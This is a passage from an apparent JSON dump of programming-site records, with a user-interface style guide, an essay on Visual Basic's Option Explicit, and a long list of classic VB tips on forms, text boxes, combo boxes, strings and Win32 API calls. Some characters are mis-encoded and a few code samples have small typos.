ΓÇô Terms/icons/syntax/operations should be memorable/discriminable\nFlexibility ΓÇô Systems should adapt to individual/different users\nRecoverability ΓÇô Systems should allow recovery from errors\nSecurity/Privacy ΓÇô Systems should not sacrifice privacy/security for ease of use\nStress/fun systems should not be stressful; they should be fun\n3. Tradeoffs of Design Principles/Issues\nSpecificity/Generality: General Systems may not be particularly good at specific tasks\nInternal / External: Internally consistent systems may violate external conventions\nLearnability / Usability: Easy-to-learn does not imply easy-to-use\nSpeed/Accuracy: The faster people try to go, the more they will make errors\nInformation Depth / Breadth: The more breadth provided, the less depth is covered\nBatch / Interactive: Systems should support interactive access, with programmability\nPassive/Active: Experts may use commands, novices menus, so provide both\nBrevity/Verbosity: Amount of information must adapt to user needs\nGraphical/Textual: Intuitive graphical interfaces may not be programmable\n4. Style Guide\n\n4.1 Controls\nInstructional text is generally placed above the control in question, additional information below. DonΓÇÖt forget to properly set the tab indexΓÇÖs for the controls in a coherent manner and they have tool tip text if applicable.\n4.1.2 Button Labels\nButton labels should describe the buttons action and follow book-title capitalisation.\nYou can use the button label to reflect other information about the button's operation. For example, if the action represented by the button requires additional information, include an ellipsis (ΓÇª). If the button expands the window to display additional information, include (>>).\n4.1.3 Option Buttons & Check Boxes\nLimit to a small number, typically seven or fewer. If you need more choices, consider using a different type of control, such as a single-selection list box or a drop-down list box.\nUse sentence-style capitalisation with no ending punctuation. Write parallel labels of approximately equal length for related check boxes. If a check box label also acts as the label for the control that follows it, end the label with a colon\n4.1.4 List Boxes\nList box controls do not include their own labels. However, you should include a label using a static text field; the label enables you to provide a description of the control and keyboard access to the control. Use sentence-style capitalisation for a list box label and end the label with a colon\nUse sentence-style capitalisation for items in the list. The width of the list box should be sufficient to display the average width of an entry in the list.\n4.2 Menu Items \nIf the menu is a verb use a noun or noun phrase\nEg. On the Insert menu: Text, Table, Picture\n\nIf the menu is a noun use a verb or verb phrase\nEg. On the Table menu: Insert Table, Select Row, Insert Column\n\n4.3 Shortcut Keys\nUse the following guidelines for designing shortcut keys: \n<UL>\n<LI>Assign simple and consistent key combinations. </LI>\n<LI>Make shortcut keys customizable. </LI>\n<LI>Use a shortcut with the CTRL key for actions that represent a large-scale effect, such as CTRL+S for save current document. </LI>\n<LI>Use the SHIFT+ key combination for actions that extend or complement the actions of the standard shortcut key. For example, the ALT+TAB shortcut key displays the primary window of a running application. Alternatively, the SHIFT+ALT+TAB key combination allows you to navigate backward through currently running applications that have been previously accessed. </LI>\n<LI>Use the SPACEBAR key as the default action of a control, such as for pressing a button control or toggling the status of a check box control. This is similar to clicking the left or primary mouse button. </LI>\n<LI>Use the ENTER key for the default action of a dialog box, if available. </LI>\n<LI>Use the ESC key to stop or cancel an operation. </LI>\n<LI>Avoid modified or case-sensitive letters for shortcuts. </LI>\n<LI>Avoid using the following characters for shortcut keys: @ ┬ú $ {} [] \\ ~ | ^ ' < > </LI>\n<LI>Avoid ALT+ letter combinations because they may conflict with access keys. In addition, the system uses many specific key combinations for specialized input; for example, ALT+~ invokes an input editor for the Japanese language. </LI>\n<LI>Avoid CTRL+ALT combinations because the system interprets this combination in some language versions as an ALTGR key, which generates alphanumeric characters. </LI>\n<LI>Avoid assigning combinations that are reserved or defined by the system or are commonly used by other applications. </LI>\n<LI>Do not use the Windows logo key as a modifier key for non-system-level functions. </LI></UL>\n\n<UL>\n<LI>Common shortcuts: New - Ctrl-N; Open ΓÇô Ctrl-O; Save ΓÇô Ctrl-S; Print ΓÇô Ctrl-P; Undo ΓÇô Ctrl-Z; Cut ΓÇô Ctrl-X; Copy ΓÇô Ctrl-C; Paste ΓÇô Ctrl-V; Select All ΓÇô Ctrl-A; Find ΓÇô Ctrl-F; Goto ΓÇô Ctrl-G.</LI></UL>\n"},{"WorldId":1,"id":44932,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44934,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44945,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44951,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44952,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44962,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44963,"LineNumber":1,"line":"<DIV>\n<DIV align=center>The Importance of Using Option Explicit</DIV>\n\n Many programmers (especially new ones) neglect the use of the Option Explicit statement in their programs. THIS IS VERY BAD CODING!!! I have seen many programs not run at all, much less properly because of not having this simple statement. As a matter of fact, Visual Basic makes it simple to include this sttement in all of the programs you write. Go to Tools > Options > Editor (tab) > \"Require Variable Declaration\". Check it. It does not appear in the program you have running, but the next new one you open will have it.\n\"Why is it so important to include this?\" you ask. Well, there are many reasons. 1. It stops you from making costly errors. </DIV>\nWithout Option Explicit, if you spell a variable wrong in a procedure, Visual Basic will think you are trying to create a new vairable and will create one for you. Then, if you try to read that same variable later on (this time spelling it correctly) it will not have the desired value.\n2. It is good coding practice.\nI know a man who interviews programmers, and the first question he asks in the interview is, \"What is Option Explicit?\" If they don't know or answer incorrectly, they are not hired. Then, he asks them when they use it, and, usually, if the answer is not \"always\", they don't get the job. Option Explicit is extremely important when working with other people. Making a spelling error in your code, which you know because you wrote, may be easy to find. But, if someone else, who does not know your code so well, tries to find it, it could take hours. \n┬á Overall, using Option Explicit is a good idea, and saves you time and sanity. I know this was not a long drawn out tutorial, but so many people do not use it, and it is so important that they do."},{"WorldId":1,"id":44964,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44989,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44995,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":44997,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45000,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":45014,"LineNumber":1,"line":"\nBeware of optional typed parameters:\nStarting with Visual Basic 4.0, you could define optional parameters. There\nwas only one problem: They could be only of type Variant. With VB 5.0, you \ncan define typed optional parameters. However, you must be careful when doing\nso, because you can't check whether a typed optional parameter was received.\nConsider this sample code:\nPublic Sub SubX(Optional b As Boolean)\n If IsMissing(b) Then\n MsgBox \"b is missing\"\n Else\n MsgBox \"b is not missing\"\n End If\nEnd Sub\n...\n 'Call SubX with no parameters\n SubX\nYou'd expect to see a message box indicating that b is missing, but no box \nappears. The reason lies in the definition of IsMissing: \"Returns a Boolean \nvalue indicating whether an optional Variant argument has been passed to a \nprocedure.\" If you don't use a Variant argument, IsMissing won't provide the\nexpected value.\nA typed optional parameter is never missing; it's always set to the default\nvalue for each type (False for Boolean parameters, 0 for numbers and \nzero-length strings).\nAnother option is to add the default value in the declaration of the \nprocedure, as follows:\nPublic Sub SubX(Optional i As Integer = 1)\n****************************************************************************\nAVOIDING THE [ENTER] BEEP:\nWhen you're entering information into a text box and press [Enter], you'll \nhear a beep. You can easily avoid this behavior. To do so, place a text box\non your form (Text1). Enter the following code in the KeyPress event:\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\nIf KeyAscii = Asc(vbCr) Then\n KeyAscii = 0\nEnd If\nEnd Sub\nWhen you run the form, pressing [Enter] will no longer produce a beep.\n****************************************************************************\nPrevent partially painted windows:\nSometimes when you display a form, only some of the controls appear. After a \npause, the remaining controls appear. Such partial painting doesn't look \nprofessional. (Fortunately, this problem is much less apparent in VB 5.0 \nbecause of dramatic improvements in screen painting.)\nTo avoid partially painted windows when showing a non-modal form, use the \nfollowing code:\nfrmPerson.Show vbModeless\nfrmPerson.Refresh\nThe Refresh method will ensure that the form repainting is complete before \nexecuting any other code in the routine.\n****************************************************************************\nCentering a form:\nTo center a form on the screen in VB3 or VB4, you can write a CenterForm \nsubroutine. Then, call CenterForm in the form's Load event. The code is as \nfollows:\nPublic Sub CenterForm(frmTarget As Form)\n frmTarget.Move (Screen.Width - frmTarget.Width) / 2, _\n (Screen.Height - frmTarget.Height) / 2\nEnd Sub\nPrivate Sub Form_Load()\n CenterForm Me\nEnd Sub\nEditor's Note:\nIn VB5, you can center a form on the screen by setting the StartUpPosition \nproperty of the form to CenterScreen or CenterOwner.\n****************************************************************************\nCase-conversion on the fly:\nIf you want to convert text to uppercase as it's entered in a text box, just\ncreate an Upper function and call it from the text box's keypress event, as \nshown here:\n Private Sub Text1_KeyPress(KeyAscii As Integer)\n \tKeyAscii = Upper(KeyAscii)\n End Sub\n Function Upper(KeyAscii As Integer)\n \tIf KeyAscii > 96 And KeyAscii < 123 Then\n\t\tKeyAscii = KeyAscii - 32\n\tEnd If\n \tUpper = KeyAscii\n End Function\nThis technique eliminates the need to \"UCase\" entered data. It also makes \n\"hotseek\" data searches much easier.\n****************************************************************************\nTrapping dropdown list errors:\nIn VB, the Text property of a Combo box whose Style property is set to \n'2 - Dropdown List' is read-only. This means that a statement like:\nMyCombo.Text = \"The Third Item\"\nwill return an error if \"The Third Item\" is not part of the list. Wouldn't\nit be nice if VB just set the Combo box's ListIndex property to -1 \n(blanking it out) instead of bombing out? Well, here's some code that will\ndo just that:\nFunction SetComboText(MyCombo as ComboBox, MyItem as String) as Integer\n Dim I as Integer\n For I = 0 to MyCombo.ListCount - 1\n If MyCombo.List(I) = MyItem Then\n SetComboText = I\n Exit Function\n End If\n Next I\n ' If the program reaches this point, the string is not in the\n ' list.\n SetComboText = - 1\nEnd Function\nUse the function like this:\nAnyCombo.ListIndex = SetComboText(AnyCombo, \"Any String\")\nIf \"Any String\" is in the list, then the combo box's ListIndex will be set \nto the correct index; if not, it will be blanked out. The great thing about \nthis code is that if you want to do something else other than blanking out \nthe combo box, all you have to do is replace the line:\nSetComboText = - 1\nwith whatever you wish.\n****************************************************************************\nSpeed up string buffers:\nSometimes you need to write a program that builds up a large amount of data \nin a string variable. You'd normally use a statement such as:\nstrBuffer = strBuffer & strNewData\nduring every loop. The problem with this approach is that the bigger your \nstring buffer becomes, the slower your program runs.\nA neat and very simple way around this problem is to use another buffer. \nJust fill the temporary buffer with data, and when it's big enough, append \nit to the main buffer. Then, clear the temporary buffer and continue. The \ncode will look like this:\nPublic Sub NewBuildBuffer()\n Dim strBuffer As String, strTemp As String\n Dim l As Long, dStart As Date\n 'Set start time\n dStart = Now\n 'Build the buffer\n For l = 1 To 10000\n strTemp = strTemp & \"New Line\" & vbCrLf\n 'Append to the main buffer every 100 times\n If l Mod 100 = 0 Then\n strBuffer = strBuffer & strTemp\n strTemp = \"\"\n End If\n Next\n 'Append the last temp buffer\n strBuffer = strBuffer & strTemp\n 'Report total time\n MsgBox \"Seconds taken = \" & DateDiff(\"s\", dStart, Now)\nEnd Sub\nFor programs that use very large string buffers, you'll see a huge \nimprovement.\n****************************************************************************\nPreventing multiple instances of VB apps:\nYou can easily prevent users from running multiple instances of your \nprograms by taking advantage of the PrevInstance property of the App object.\nTo do so, enter the following code in your application's opening form:\nIf App.PrevInstance Then\n MsgBox (\"Cannot load program again.\"), vbExclamation, \"The requested \" _\n & \"application is already open\"\n Unload me\nEnd If\nThis technique will also prevent multiple users from accessing single-user \napplications.\n****************************************************************************\nRetrieving the network logon name:\nYou can easily retrieve a user's network logon name by using the following \nAPI call:\nDeclare Function GetUserName Lib \"advapi32.dll\" Alias \"GetUserNameA\" _ \n (ByVal lpBuffer As String, nSize As Long) As Long\nTo retrieve a \"clean\" version of the name, use this function:\nPublic Function NTDomainUserName() As String\nDim strBuffer As String * 255\nDim lngBufferLength As Long\nDim lngRet As Long\nDim strTemp As String\n\tlngBufferLength = 255\n\tlngRet = GetUserName(strBuffer, lngBufferLength)\n\tstrTemp = UCase(Trim$(strBuffer))\n\tNTDomainUserName = Left$(strTemp, Len(strTemp) - 1)\nEnd Function\n****************************************************************************\nCustomizing a text box's pop-up menu:\nIn Windows 95, right-clicking any text box brings up a context menu with \nbasic edit commands on it. If you want to change this menu, put the \nfollowing code in the MouseDown event of the text box.\nIf Button = vbRightButton Then\n\tText1.Enabled = False\n\tText1.Enabled = True\n\tText1.SetFocus\n\tPopUpMenu Menu1\nEnd If\nwhere Text1 is the text box and Menu1 is the pop-up menu.\nDisabling and re-enabling the control causes Windows to lose the MouseDown \nmessage, SetFocus tidies things up a bit, and PopUpMenu shows the menu.\nLeft clicks will work as always, allowing the user to edit the text in the \ntext box.\n****************************************************************************\nSelecting all text when a TextBox gets \nfocus:\nWhen you present the user with default text in a TextBox, you'll often want\nto select that text when the TextBox gets focus. That way, the user can \neasily type over your default text.\nThe function below will do the trick. The first click on the TextBox will \nselect all the text; the second click will place the cursor.\nPublic Sub TextSelected()\nDim i As Integer\nDim oMyTextBox As Object\nSet oMyTextBox = Screen.ActiveControl\n If TypeName(oMyTextBox) = \"TextBox\" Then\n i = Len(oMyTextBox.Text)\n oMyTextBox.SelStart = 0\n oMyTextBox.SelLength = i\n End If\nEnd Sub\nJust add the function to your project and call it from the TextBox's \nGotFocus event.\nPrivate Sub Text1_GotFocus()\n TextSelected\nEnd Sub\n****************************************************************************\nPreventing Add-Ins from loading at launch:\nWhen you launch Visual Basic 4 or 5, any active Add-Ins also launch. If \nthere's an error in one of the Add-Ins, however, you could encounter a \nglobal protection fault.\nTo prevent this from happening, you can turn off Add-Ins before launching \nVB. To do so, launch Notepad or WordPad and open the file VBAddin.INI in \nyour Windows directory. You'll see a series of entries like this:\nAppWizard.Wizard=1\nJust change the \"1\" to a \"0\" in each entry. Then save the file and launch \nVB. The program will launch without any Add-Ins.\nOf course, to add and remove Add-Ins while you're in Visual Basic, just \nchoose Add-In Manager from the Add-Ins menu.\n****************************************************************************\nClearing all fields and combo boxes on a form:\nSometimes you want to clear all the fields and combo boxes on a data-entry \nform. If your form contains many controls, this could become tedious and \nerror prone. The following subroutine clears the contents of such fields on \nyour form automatically:\nPublic Sub ClearAllControls(frmForm As Form)\nDim ctlControl As Object\n ' Initialize all controls that can be initialized\n ' Any control with a text property or a list-index property\n On Error Resume Next\n For Each ctlControl In frmForm.Controls\n ctlControl.Text = \"\"\n ctlControl.ListIndex = -1\n DoEvents\n Next ctlControl\nEnd Sub\nJust call this procedure from your code like this:\nCall ClearAllControls(Me)\n****************************************************************************\nQuickly switching an object's Enabled property:\nYou can easily switch an object's Enabled property with a single line of\ncode:\noptSwitch.enabled = abs(optSwitch.enabled) - 1\nHere's how the technique works: When Enabled is True, its numeric value is\n-1. The absolute value of -1 is 1, so subtracting 1 from 1 would yield 0,\nwhich is False. When Enabled is False, its numeric value is 0; 0 - 1 \nwould then yield -1, or True.\nThis technique is an enhancement of the common usage\nfraOption.enabled = optSwitch.enabled\nto have an object follow the value of any other object's Enabled property.\nNote: This technique depends on VB's definition of True and False.\nTo make this technique less dependent on that definition, you can use the\nfollowing code:\nOptSwitch.enabled = NOT OptSwitch.enabled\nThis code works for any Boolean data type.\n****************************************************************************\nDealing with Null strings in Access database fields:\nBy default Access string fields contain NULL values unless a string value\n(including a blank string like \"\") has been assigned. When you read these\nfields using recordsets into VB string variables, you get a runtime\ntype-mismatch error.\nThe best way to deal with this problem is to use the built-in & operator to\nconcatenate a blank string to each field as you read it. For example,\nDim DB As Database\nDim RS As Recordset\nDim sYear As String\nSet DB = OpenDatabase(\"Biblio.mdb\")\nSet RS = DB.OpenRecordset(\"Authors\")\nsYear = \"\" & RS![Year Born]\n****************************************************************************\nSpecifying maximum lengths in a ComboBox:\nThe ComboBox control doesn't have a MaxLength property like a TextBox does.\nYou can add some code to emulate this property, however. Just add the\nfollowing code to the KeyPress event of your ComboBox:\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n 'If the user is trying to type the eleventh key and...\n ' ...this key is not the Backspace Key, cancel the event!\n Const MAXLENGTH = 10\n If Len(Combo1.Text) >= MAXLENGTH And KeyAscii <> vbKeyBack Then\nKeyAscii = 0\n '\nEnd Sub\nYou can change the MaxLength value to any number you want. As you can see,\nthe code allows the user to use the [Backspace] key; you could enable other\nkeys by simply adding their KeyAscii values the way we did with [Backspace].\n****************************************************************************\nSharing resource files between VB and C projects:\nSuppose you want to use a resource file (RES) in your Visual Basic project,\nbut some of the file's resource indexes are greater than 0x8000. The VB\nfunction LoadResString(index) receives an integer argument Index in the\nrange -32,768 to 32,767, so you can't pass values that are larger than\n0x8000. You can solve this problem by passing the corresponding negative\nindex value, as follows (with 0 <=X < 0x8000):\nRES Visual Basic\n0xFFFF - X -X - 1=\n0x8000+X X-0x8000\nFor example, suppose you have the following RC file:\nSTRINGTABLE DISCARDABLE=\n BEGIN\n 0xFFFF-0x0000 \"resource string 1 with VB index -1 -0 = -1\"\n 0x8000+1 \"resource string 2 with VB index - 32,768 + 1 = -32,767\"\n END\nTo load string 1, you'll use LoadResString(-1). Similarly, to load string 2\nyou'll use LoadResString(-32767).\n****************************************************************************\nThe CDbl function versus Val:\nThe Val() function is familiar, and it's useful for converting text box\nnumeric values to numbers. But if you use formatters to display large\nnumbers (with commas, for instance), there's a better function for your\npurpose. The following examples illustrate the use of Val versus CDbl:\nCode: print Val(\"12345\")\nResult: 12345\nCode: print Val(\"12,345\")\nResult: 12\nCode: print CDbl(\"12,345\")\nResult: 12345\nCode: print CDbl(\"12345\")\nResult: 12345\nWhy are these functions different? The Visual Basic Help file offers\nseveral hints. You should use the CDbl function instead of Val to provide\ninternationally aware conversions from any other data type to a Double. For\nexample, CDbl will recognize different decimal separators and thousands\nseparators properly depending on your system's locale.\nAlso, if you want your display and input routines to be automatically\nreversible, you may want to consider using named numeric formats for\nFORMAT(). Doing so helps guarantee a reversible process, given the LOCALE\nsetting of the user's machine.\n****************************************************************************\nCommand me, oh great one:\nSuppose you want to use Visual Basic to create an EXE that takes an input\nvalue in a format like test.exe 2. Depending on the input value, you'll\nperform certain tasks. In this situation, you can make use of the Command\nfunction, which returns the argument portion of the command line you use to\nlaunch VB or an EXE you develop in VB.\nIt's easy to send command-line information to an application. For instance,\nto send information to an application called HappyApp, you could use the=\n line\nHappyApp /CMD 1972\nNow, within the application--probably in the Sub Main--you can use the\nCommand function to capture that command-line information.\nTo see this technique work, place a text box on a form. In the Form_Load\nevent, place the following line:\nText1.Text = Command\nWhile still in VB, place some code on the command line. To do this in VB\n3.0, choose Options | Project; in VB 4.0, choose Tools | Options..., then\nclick the Advanced tab; in VB 5.0, choose Project | Project Properties,\nthen click the Make tab. Next, type This is my argument in the Command Line\nArguments section and click OK. Run the application, and your command-line\ntext will appear in the text box.\nNote that if you're working with 32-bit VB, I suggest creating an ActiveX\nEXE or ActiveX DLL (formerly OLE Automation servers). By doing so, you\nsimply deal with property settings.\n****************************************************************************\nDisplaying and processing a message box\nThe following code sample demonstrates an easy way to display and process a\nmessage box (MsgBox) in any version of Visual Basic:\n Select Case MsgBox(\"Would you like to save the file somefile.txt?\", _\n vbApplicationModal + vbQuestion + YesNoCancel, App.Title)\n Case vbYes\n 'Save then file\n Case vbNo\n 'Do something for No\n Case vbCancel\n 'Do something else for Cancel\n End Select\nThis method works well, unless you need to save the answer from your Select\nCase for later use. If you do, you'll need to use the more standard form of\nprompting for the answer in a variable.\n****************************************************************************\nPassing strings to a DLL:\nI recently came across a serious inefficiency in the way Visual Basic sends\nstrings to a DLL. The problem occurs when you want to get back a large\nstring field (32 KB) from a DLL written in C/C++. VB interacts somehow with\nthis string, causing significant overhead.\nIn order to call a DLL and get back a string-type data field, you must pass\na string and initialize it for as many bytes as you expect to be returned.\nIf you pass this function a small string, it will run quickly. But if you\npass it a large string (32 KB), the time will be significantly slower.\nYou'll see this slower performance even when no data is being returned,\nmeaning that the extra time results from some sort of VB overhead. As a\nresult, if speed is an issue when you're calling a DLL and passing a string\nvariable, you should pass a string that's only as large as you need.\nYou can find a sample project that demonstrates this problem in the file\nSpeed.zip at ftp.cobb.com/ivb/tipcode. The project simply loops for a\npredetermined number of times and issues the standard windows API call\nGetPrivateProfileString, which gets data from an INI file.\n****************************************************************************\nMaking a text box read-only:\nHere's a quick and easy way to make a text box read-only. Simply enter the\nline\n keyascii = 0\nin the textbox_keypress event.\nThe easiest way to make a text box read-only (in VB 4.0 and higher) is to \nset the text box's Locked property to True. If you want to use our original\ntechnique, you'll need to enter the code in the KeyDown event | KeyPress \ndoesn't trap the [Delete] key. However, if you don't set the Locked \nproperty to True, Windows 95 will let you right-click on the text box to \nopen a context menu that gives you access to the Cut and Paste options.\n****************************************************************************\nCreating a formless application:\nTo create a VB program that has only console input and output--that is, no\ndialog boxes or forms--you can use the Main procedure. Begin by creating a\nnew project. Open a code window, then choose Insert | Procedure.... In the\nInsert Procedure dialog box, Select the Sub and Public options and enter\nMain in the Name box. Click OK to create a new Main subroutine in the\nGeneral object. All your code will go in this routine; if you have any\nuseful BAS modules, you can add those to the project as well.\nVB needs to know what code to execute when your application is called.\nSince you're not using a form, you need to tell VB to start execution with\nSub Main. To do so, choose Tools | Options.... Click the Project tab and\nselect Sub Main from the Startup Form list. To remove the project's default\nform, right-click on it in the Project window and choose Remove File from\nthe speed menu.\nTesting a formless application can be a headache, so plan ahead: Use a log\nfile to get debug messages from your application. You'll want to read about\nthe Print # statement in VB's Help file, along with Open and Close.\nNote that you can use this method to create a VB application that will run\nas a service on NT. (Services can't have any forms or dialog boxes.)\n****************************************************************************\nCase sensitivity in DLL calls:\nUse the Alias keyword to help convert non-case-sensitive VB 3.0 function\ncalls to their case-sensitive 32-bit counterparts.\nWhen you declare or call a DLL in 32-bit Visual Basic, the name of the\nfunction is case sensitive. To convert non-case-sensitive VB 3.0 calls to\ncase-sensitive calls, use the Alias keyword to hold the case-sensitive\nfunction name. Place the name you want to call the function after the\nDeclare Sub/Function statement. (The Win32API.TXT file Aliases all function\ncalls, eliminating the case-sensitivity problem.)\n****************************************************************************\nSimple input validation:\nHere's a way to achieve validation in text boxes and other controls that\nsupport the KeyPress event. It's simple, but functional.\nFirst, add this function to your project:\nFunction ValiText(KeyIn As Integer, _ValidateString As String, _Editable\n As Boolean) As Integer\n \n Dim ValidateList As String\n Dim KeyOut As Integer\n '\n If Editable = True Then\n ValidateList = UCase(ValidateString) & Chr(8)\n Else\n ValidateList = UCase(ValidateString)\n End If\n '\n If InStr(1, ValidateList, UCase(Chr(KeyIn)), 1) > 0 Then\n KeyOut = KeyIn\n Else\n KeyOut = 0\n Beep\n End If\n '\n ValiText = KeyOut\n '\nEnd Function\nThen, for each control whose input you wish to validate, just put something\nlike this in the KeyPress event of the control:\nKeyAscii=ValiText(Keyascii, \"0123456789/-\",True)\nDoing so will filter out any undesired keys that go to the control,\naccepting only the keys defined by the second parameter. In this case, that\nparameter (\"0123456789/-\") defines characters that are valid for a date.\nThe function's third parameter controls whether the [Backspace] key can be\nused.\nNote that this implementation of the function ignores the case of the\nincoming keys, so if your second parameter were \"abcdefg\", the function\nwould also allow \"ABCDEFG\" to be entered.\n****************************************************************************\nSimplying the addition of items to ComboBoxes:\nI often need to add items to a ComboBox and store an index or ID value in\nthe ItemData property. I've found that the code needed to add items to the\nComboBox and to check the ItemData property of the currently selected item\nlooks clumsy. So, I've written two simple helper routines to clean the code\nup a bit. Here they are:\n'---------------------------------------------------------------------------\n ' AddComboItem\n ' AddComboItem\n'---------------------------------------------------------------------------\n Public Sub AddComboItem( _cboAdd As ComboBox, _ByVal sText As String, \n _ByVal lData As Long)\n cboAdd.AddItem sText\n cboAdd.ItemData(cboAdd.NewIndex) lData\n \n End Sub\n'---------------------------------------------------------------------------\n ' CurrComboData\n ' CurrComboData\n'---------------------------------------------------------------------------\n Public Function CurrComboData( _cbo As ComboBox) As Long\n If cbo.ListIndex <> -1 Then\n CurrComboData = cbo.ItemData(cbo.ListIndex)\n Else\n CurrComboData = -1\n End If\n End Function\nNow, instead of writing\n cboTest.AddItem \"Hello\"\n cboTest.ItemData(cboTest.NewIndex) = 5\nyou can just write\n AddComboItem cboTest, \"Hello\",5\nInstead of writing\n ID = cboTest.ItemData(cboTest.ListIndex)\nyou can write\n ID = CurrComboData( cboTest )\nAs an added bonus, CurrComboData protects you from the runtime error\ngenerated if ListIndex is -1. Just be sure to check for a return of -1 from\nCurrComboData.\n****************************************************************************\nShowing long ListBox entries as a ToolTip:\nSometimes the data you want to display in a list is too long for the size\nof ListBox you can use. When this happens, you can use some simple code to\ndisplay the ListBox entries as ToolTips when the mouse passes over the\nListBox.\nFirst, start a new VB project and add a ListBox to the default form. Then\ndeclare the SendMessage API call and the constant (LB_ITEMFROMPOINT) needed\nfor the operation:\nOption Explicit\n'Declare the API function call.\nPrivate Declare Function SendMessage _\n Lib \"user32\" Alias \"SendMessageA\" _\n (ByVal hwnd As Long, _\n ByVal wMsg As Long, _\n ByVal wParam As Long, _\n lParam As Any) As Long\n' Add API constant\nPrivate Const LB_ITEMFROMPOINT = &H1A9\nNext, add some code to the form load event to fill the ListBox with data:\nPrivate Sub Form_Load()\n '\n ' load some items in the list box\n With List1\n .AddItem \"Michael Clifford Amundsen\"\n .AddItem \"Walter P.K. Smithworthy, III\"\n .AddItem \"Alicia May Sue McPherson-Pennington\"\n End With\n '\nEnd Sub\nFinally, in the MouseMove event of the ListBox, put the following code:\nPrivate Sub List1_MouseMove(Button As Integer, Shift As Integer, _\nX As Single, Y As Single)\n '\n ' present related tip message\n '\n Dim lXPoint As Long\n Dim lYPoint As Long\n Dim lIndex As Long\n '\n If Button = 0 Then ' if no button was pressed\n lXPoint = CLng(X / Screen.TwipsPerPixelX)\n lYPoint = CLng(Y / Screen.TwipsPerPixelY)\n '\n With List1\n ' get selected item from list\n lIndex = SendMessage(.hwnd, _\n LB_ITEMFROMPOINT, _\n 0, _\n ByVal ((lYPoint * 65536) + lXPoint))\n ' show tip or clear last one\n If (lIndex >= 0) And (lIndex <= .ListCount) Then\n .ToolTipText = .List(lIndex)\n Else\n .ToolTipText = \"\"\n End If\n End With '(List1)\n End If '(button=0)\n '\nEnd Sub\n****************************************************************************\nCreating Short Arrays Using the Variant Data Type:\nIf you need to create a short list of items in an array, you can save a lot\nof coding by using the Variant data type instead of a dimensioned standard\ndata type. This is especially handy when you need to create a list of short\nphrases to support numeric output.\nFor example, add a button to a standard VB form and paste the following\ncode into the Click event of the button:\nPrivate Sub Command1_Click()\n '\n ' create a quick array using variants\n '\n Dim aryList As Variant\n '\n aryList = Array(\"No Access\", \"Read-Only\", \"Update\", \"Delete\")\n '\n MsgBox aryList(2)\n '\nEnd Sub\n****************************************************************************\nUsing GetRows to Quickly Save Data Fields to Memory Variables:\nIf you need to copy information from database fields into memory variables,\nyou can do it quickly using the GetRows method of the Recordset object. The\nGetRows method copies one or more rows of data directly into a Variant data\ntype and stores the information as a two-dimensional array in the\nformvarData(Field,Column).\nTo test the GetRow method, add a button to a VB form and paste the\nfollowing code into the Click event of the button. Be sure to fix the\nreference to location of the BIBLIO.MDB database in the OpenDatabase\nmethod. Also be sure to set up a reference to the Microsoft DAO 3.5 Object\nLibrary.\nPrivate Sub cmdGetDataRow_Click()\n '\n ' show getrow method\n '\n Dim ws As Workspace\n Dim db As Database\n Dim rs As Recordset\n '\n Dim varDataRows As Variant\n Dim intRows As Integer\n Dim intColumns As Integer\n '\n Dim intLoopRow As Integer\n Dim intLoopCol As Integer\n Dim strMsg As String\n '\n Set ws = DBEngine.CreateWorkspace(App.EXEName, \"admin\", \"\")\n Set db = ws.OpenDatabase(\"e:\\devstudio\\vb\\biblio.mdb\")\n Set rs = db.OpenRecordset(\"SELECT * FROM Authors\")\n '\n intRows = InputBox(\"How Many Rows?\", \"GetRows Example\", 0)\n intColumns = rs.Fields.Count\n varDataRows = rs.GetRows(intRows)\n '\n For intLoopRow = 0 To intRows - 1\n strMsg = \"\"\n For intLoopCol = 0 To intColumns - 1\n strMsg = strMsg & varDataRows(intLoopCol, intLoopRow) & vbCrLf\n Next\n MsgBox strMsg\n Next\n '\n rs.Close\n db.Close\n ws.Close\n '\nEnd Sub\n****************************************************************************\nGetting sensible Win32 API call errors:\nMost of the Win32 API calls return extended error information when they\nfail. To get this information in a sensible format, you can use the\nGetLastError and FormatMessage APIs.\nAdd the following declarations and function to a BAS module in a VB project:\nOption Explicit\nPublic Declare Function GetLastError _\n Lib \"kernel32\" () As Long\nPublic Declare Function FormatMessage _\n Lib \"kernel32\" Alias \"FormatMessageA\" _\n (ByVal dwFlags As Long, _\n lpSource As Any, _\n ByVal dwMessageId As Long, _\n ByVal dwLanguageId As Long, _\n ByVal lpBuffer As String, _\n ByVal nSize As Long, _\n Arguments As Long) As Long\nPublic Const FORMAT_MESSAGE_FROM_SYSTEM = &H1000\nPublic Function LastSystemError() As String\n '\n ' better system error\n '\n Dim sError As String * 500\n Dim lErrNum As Long\n Dim lErrMsg As Long\n '\n lErrNum = GetLastError\n lErrMsg = FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM, _\n ByVal 0&, lErrNum, 0, sError, Len(sError), 0)\n LastSystemError = Trim(sError)\n '\nEnd Function\nNow place a command button on a standard VB form and call the\nLastSystemError function:\nPrivate Sub Command1_Click()\n '\n MsgBox LastSystemError\n '\nEnd Sub\nIf there was no error registered, you'll see a message saying \"The\noperation completed successfully.\"\nWhen using this function, keep these points in mind:\n1. Many API calls reset the value of GetLastError when successful, so the\nfunction must be called immediately after the API call that failed.\n2. The last error value is kept on a per-thread basis, therefore the\nfunction must be called from the same thread as the API call that failed.\n****************************************************************************\nIncrement and decrement dates with the [+] and [-] keys:\nIf you've ever used Quicken, you've probably notice a handy little feature\nin that program's date fields. You can press the [+] key to increment one\nday, [-] to decrement one day, [PgUp] to increment one month, and [PgDn] to\ndecrement one month. In this tip, we'll show you how to emulate this\nbehavior with Visual Basic.\nFirst, insert a text box on a form (txtDate). Set its text property to \"\"\nand its Locked property to TRUE.\nNow place the following code in the KeyDown event:\nPrivate Sub 